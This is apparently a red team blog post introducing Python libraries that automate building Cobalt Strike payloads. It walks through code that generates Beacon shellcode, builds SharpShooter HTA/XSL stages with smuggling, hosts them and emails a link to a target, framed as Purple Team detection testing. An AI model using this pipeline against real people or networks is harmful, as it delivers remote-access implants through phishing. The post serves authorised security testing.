Introducing Striker and the Payload Automation Libraries

TL;DR – Striker, Compyler, Artifactor, Sleepy, and Detemplate are a set of Python libraries we created to help make building custom payloads faster, more consistent, and more OPSEC safe and allow for better IoC tracking during Red Team operations. The libraries can be found on GitHub here: https://github.com/emcghee/PayloadAutomation.

Introduction

During an operation, we were creating a custom initial access payload which would execute a Cobalt Strike Beacon. The payload was fairly complex with multiple components coming together and multiple steps to obfuscate the shellcode before embedding it into the payload. During the preparation phase of the operation, we went through multiple profile and listener variations and needed to test our initial access payload with each variation. This meant that I had to go into the GUI for Cobalt Strike, generate the shellcode and save it to a file, manually encrypt and obfuscate it, embed it in my payload, then compile. This process tended to be about 10 minutes to do when I could remember all the steps, or 20-30 when I had to do some troubleshooting or re-look things up.

To make my life easier and to ensure the team could consistently generate the payloads on their own as needed, I created a set of Python libraries to help with this. Initially the part that I found most cumbersome was the shellcode generation. I had a few options, I could launch the GUI every time, I could write an Aggressor script to write the shellcode to a file or print it to the console and manipulate the data with Bash, or I could do the data manipulation in Sleep (did I mention that I hate Sleep?). The Aggressor scripting route limited me to doing data manipulations in Bash or writing shellcode to a temp file and reading it in with Python, which I wasn’t too happy with. I wanted it all in Python from start to finish so that I can manipulate the shellcode with ease.

At the time, I didn’t have a great solution until I came across Verizon’s redshell (https://github.com/Verizon/redshell). Redshell is described as “An interactive command prompt that executes commands through proxychains and automatically logs them on a Cobalt Strike team server.” While looking into the tool, I began to understand how the tool worked and recognized the ingenious of how they connect into a Cobalt Strike team server by proxying execution through the agscript tool provided with Cobalt Strike from Python. This opens up a whole new realm of possibilities by allowing us to pull data from Cobalt Strike in Python.

We decided to wrap a lot of the connections and calls to Cobalt Strike in a Python class called CSConnection so that you can instantiate the object and all of the connections and calls to the Cobalt Strike team server happen behind the scenes for the user. With this connection, we can generate shellcode and artifacts, send Aggressor script commands, host and unhost files, log events and data to the Event Log, and grabbing event history/data. Striker gave us everything we needed to be able to automate the creation of the source code for our custom payloads.

We found that often our commands would return Sleep objects in their string format, which was not only ugly but a bit problematic as well. My co-worker added Sleepy to the libraries to gracefully pass and convert Sleep objects into their Python equivalents. This was a huge game changer as you could now manipulate any Sleep object in Python rather than having to do the same manipulations in Sleep.

To help complete the building process of the custom payloads we also created Artifactor and Compyler. Compyler is currently just a wrapper for Mono to help build C# payloads, but we have plans to expand it to wrap other compilers and build tools.

Artifactor provides useful functions to help the operator track IoCs during operations as well as perform OPSEC checks in the development process. This includes file hashes, pdb file checks, EXIF data, and more.

Walking Through Automating SharpShooter Testing as an Example

Although the introduction described the libraries as a toolkit for Red Teamers, the example I will walk through might actually be a bit more beneficial from a Purple Team perspective. The way I look at and approach Purple Teaming is by taking known tools and techniques, testing them against an environment, and determining if the tools and techniques work and if they are detected. Being able to quickly repeat this testing for the Blue Team is a critical element of Purple Teaming, so automation is a Purple Teamer’s best friend.

One set of procedures we could test against our network is using the SharpShooter payloads to execute Cobalt Strike Beacons. SharpShooter is a framework created by the team at MDSec and is described as on their GitHub as “SharpShooter is a payload creation framework for the retrieval and execution of arbitrary CSharp source code. SharpShooter is capable of creating payloads in a variety of formats, including HTA, JS, VBS and WSF.” The framework can be found here: https://github.com/mdsecactivebreach/SharpShooter. Considering both SharpShooter and Cobalt Strike are available to threat actors, this is probably a solid test case for most organizations.

I will walk through the various parts of this example Python script and talk about the various parts of Striker and Artifactor and how they are leveraged to automate SharpShooter testing. To automate SharpShooter in a typical Purple Team fashion, we will generate the shellcode from Cobalt Strike, execute SharpShooter scripts to generate the payloads, get the hashes of those payloads, record the hashes with Cobalt Strike, and host the payloads, send emails with links to the payloads, then record the IoCs of the email to Cobalt Strike’s Event Log for tracking purposes. It sounds like a lot of things, but is pretty easily accomplished in about 100 lines of Python.

Installing the Payload Automation Libraries

The Payload Automation libraries require Python 3.x and has been tested against Python 3.7 – 3.9. To install the Payload Automation libraries, run the following commands:
% git clone https://github.com/emcghee/PayloadAutomation.git
% cd PayloadAutomation
% python -m pip install .
These steps clone the libraries to your system, then run the setup.py file to install them and make them accessible to your local Python environment. Once installed, these libraries can easily be imported into any Python script.

Importing Striker and Artifactor

The primary function or class in Striker is the CSConnection class. Typically this is all you would need to import from this library to use Striker:
from payload_automation.striker import CSConnection
With Artifactor, there is no base class, just a collection of functions, so you would import either the entire library or just the specific functions that you will need for your automation tasks. In the case of testing SharpShooter, we really only need the ‘getHashes’ function so that we can get the hashes of the hosting payloads.
from payload_automation.artifactor import getHashes

Understanding How to Use SharpShooter

We obviously cannot automate a framework which we don’t understand, so we should first walk through the manual process of what we intend to automate. Taken directly from the README.md file of the SharpShooter repo, we see the command to generate an HTA payload which executes an XLS payload:
% SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
We can see that this requires a few different things. It requires us to first generate the x86 shellcode in a raw bin file and pass it as a parameter to the Python script, then after running the Python script, you need to host the output xls file at the provided URL. Once we have all of that configured, we can email in the HTA file and test opening it on the target host internally.

SharpShooter HTA XLS Step 1 – Generating Shellcode File with Striker

The first step is to generate the Cobalt Strike x86 raw shellcode bin file. Normally you would go through the GUI to do this, but with Striker, it’s as simple as opening the connection to the team server by instantiating the object, then calling the generateShellcode function and writing the bytes to a file:

  # We need to get the x86 shellcode for our CS listener into /tmp/x86payload.bin
  with CSConnector( cs_host="127.0.0.1", 
	cs_user="Fautline", 
	cs_directory="/Applications/Cobalt Strike 4.0/Cobalt Strike 4.0.app/Contents/Java") as cs:

	shellcode = cs.generateShellcode(
			listener="Localhost - HTTP",
			staged=False,
			x64=False 
			)

	shellfile = "/tmp/x86payload.bin"

	with open(shellfile, 'wb') as file:
		file.write(shellcode)
  
As you can see, the CSConnector takes a few parameters to establish the connection. First, we need to tell it the IP/Hostname of the team server to connect to and the user we should connect as. Additionally, we need to provide the path to the Cobalt Strike JAR directory. Our libraries depend on the user having a valid version of Cobalt Strike installed and setup.
NOTE: One thing to notice is that the password is not required. The password for the team server is an optional parameter to the init function, but if not provided, the library will check the ~/.aggressor.prop file for the password. If the password can’t be found (it’s a new team server, not saved, or just some other issue), it will prompt you to enter the password for the team server.
Another thing to notice is the usage of ‘with CSConnector(…) as cs’. Using the class in this way helps ensure that the connection to the team server is closed when you are done. If you choose to instantiate the class without the ‘with’ clause, you will need to run the connectTeamserver() and disconnectTeamserver() functions yourself.
Once we are connected into the team server (the CSConnector class handled that for us), we can ask the CSConnector object to generate shellcode for us with the (obviously) generateShellcode function. We need to at least provide it the listener, and can provide it with additional options such as if we wanted the shellcode to be staged or not, and the platform architecture. After we have the bytes, we just write them to a file and have the input necessary for SharpShooter.

SharpShooter HTA XLS Step 2 – Executing SharpShooter Scripts

One way that we can execute SharpShooter itself is to use Python’s subprocess to spawn a separate Python process and execute the SharpShooter script:

# We need to run sharpshooter to generate the prefix.xsl file, so that we can then host it
prefix = "foo"
xsluri = "http://172.16.179.1/{}.xsl".format(prefix)
template = "sharepoint"
sharpshooter_path = "/Users/Faultline/tools/SharpShooter/"

ss_cmd = "python SharpShooter.py --stageless --dotnetver 2 --payload hta --output {} --rawscfile {} --smuggle --template {} --com xslremote --awlurl {}".format(
				prefix, shellfile, template, xsluri)

subprocess.run(ss_cmd.split(), cwd=sharpshooter_path)

SharpShooter HTA XLS Step 3 – Hosting the Files and Tracking IoCs

Once we have generated the payloads (XLS and HTA), we can host them using Striker and Cobalt Strike and track the file hashes using the description field of Cobalt Strike’s Sites Window:

# Then we connect to cobalt strike and host all of the files
# If smuggling is enabled, we don't need to host the hta
stage = 0
stage_0_uri = ""
for filetype in ['html', 'xsl']:
	file = "{}/output/{}.{}".format(sharpshooter_path, prefix, filetype)

	md5, sha1, sha256 = getHashes(file)
	if filetype == 'html':
		mime_type='text/html'
	else:
		mime_type='text/plain'
	hosted_uri = cs.hostPlainFile(file_path=file,
	 				uri="/{}.{}".format(prefix, filetype),
	 				mime_type=mime_type,
	 				description="Initial Access - Stage {} ({}) - MD5:{},SHA1:{},SHA256:{}".format(stage, filetype.upper(), md5, sha1, sha256))
	print("hosted stage {} at {}".format(stage, hosted_uri))
	if stage == 0:
		stage_0_uri = hosted_uri
	stage += 1

SharpShooter HTA XLS Step 4 – Emailing The Link

Lastly, we can email in a link to the HTA so that we can simulate a user clicking on the link and test detections:
  
email_body = """
	<html>
	<head>
	<title> SharpShooter XLS HTA with Cobalt Strike Test </title>
	</head>
	<body>
	Please find the example <a href="{}"> here </a>
	</body></html>
	
	""".format(stage_0_uri)

msg = Create_Message("sender@example.com", "Recipient@example.com", "SharpShooter XLS HTA with Cobalt Strike Test", email_body)

Send_Email(msg, "mx.example.com")
This script all put together will automatically build a SharpShooter payload to execute a Cobalt Strike Beacon and email it into your target so you can quickly and easily test all of the features of SharpShooter against your network.

Conclusion

The Payload Automation libraries were designed to help Red Teamers better interface with Cobalt Strike to generate payloads, analyze artifacts, and track IoCs. Using these libraries can help Red and Purple teams be more accurate and more efficient in their testing and tracking of the attacks that they perform. The libraries were designed to be simple and focused on the functionality that Red Teamers would leverage most often. Although we use these tools regularly, there are bound to be bugs. Please feel free to submit issues on GitHub or reach out to me on twitter @BinaryFaultline.

Comments

Popular posts from this blog

No Shells Required - a Walkthrough on Using Impacket and Kerberos to Delegate Your Way to DA

Executing Macros From a DOCX With Remote Template Injection

One Click to Compromise -- Fun With ClickOnce Deployment Manifests